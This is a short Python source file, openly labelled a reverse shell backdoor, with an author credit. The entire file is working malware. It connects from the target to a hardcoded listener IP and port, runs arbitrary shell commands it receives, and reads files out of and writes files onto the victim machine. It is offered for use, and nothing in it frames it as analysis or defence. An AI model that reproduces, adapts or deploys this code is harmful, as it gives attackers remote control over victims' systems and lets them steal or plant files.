remote_backdoor.py

#!/usr/bin/env python3
'''
Reverse shell backdoor.
Run listener.py on a host machine and connnect using this backdoor from target.

Evgeni Semenov, hello@safemail.sbs
'''

import socket
import subprocess
import json
import os
import base64

class Backdoor:
	def __init__(self, ip, port):
		self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.connection.connect((ip, port))

	def reliable_send(self, data):
		json_data = json.dumps(data)
		self.connection.send(json_data.encode())

	def reliable_receive(self):
		json_data = b""
		while True:
			try:
				json_data = json_data + self.connection.recv(1024)
				return json.loads(json_data)
			except ValueError:
				continue

	def execute_system_command(self, command):
		return subprocess.check_output(command, shell=True)

	def change_working_directory_to(self, path):
		os.chdir(path)
		return "[+] Changing working directory to " + path

	def write_file(self, path, content):
		with open(path, "wb") as file:
			file.write(base64.b64decode(content))
			return "[+] Upload successful."

	def read_file(self, path):
		with open(path, "rb") as file:
			return base64.b64encode(file.read())

	def run(self):
		while True:
			command = self.reliable_receive()
			try:
				if command[0] == "exit":
					self.connection.close()
					exit()
				elif command[0] == "cd" and len(command) > 1:
					command_result = self.change_working_directory_to(command[1])
				elif command[0] == "download":
					command_result = self.read_file(command[1]).decode()
				elif command[0] == "upload":
					command_result = self.write_file(command[1],command[2])
				else:
					command_result = self.execute_system_command(command).decode()
			except Exception:
				command_result = "[-] Error during command execution."

			self.reliable_send(command_result)

if __name__ == "__main__":
	my_backdoor = Backdoor("10.0.2.15", 4444) #specify the IP of the machine running listener.py here
	my_backdoor.run()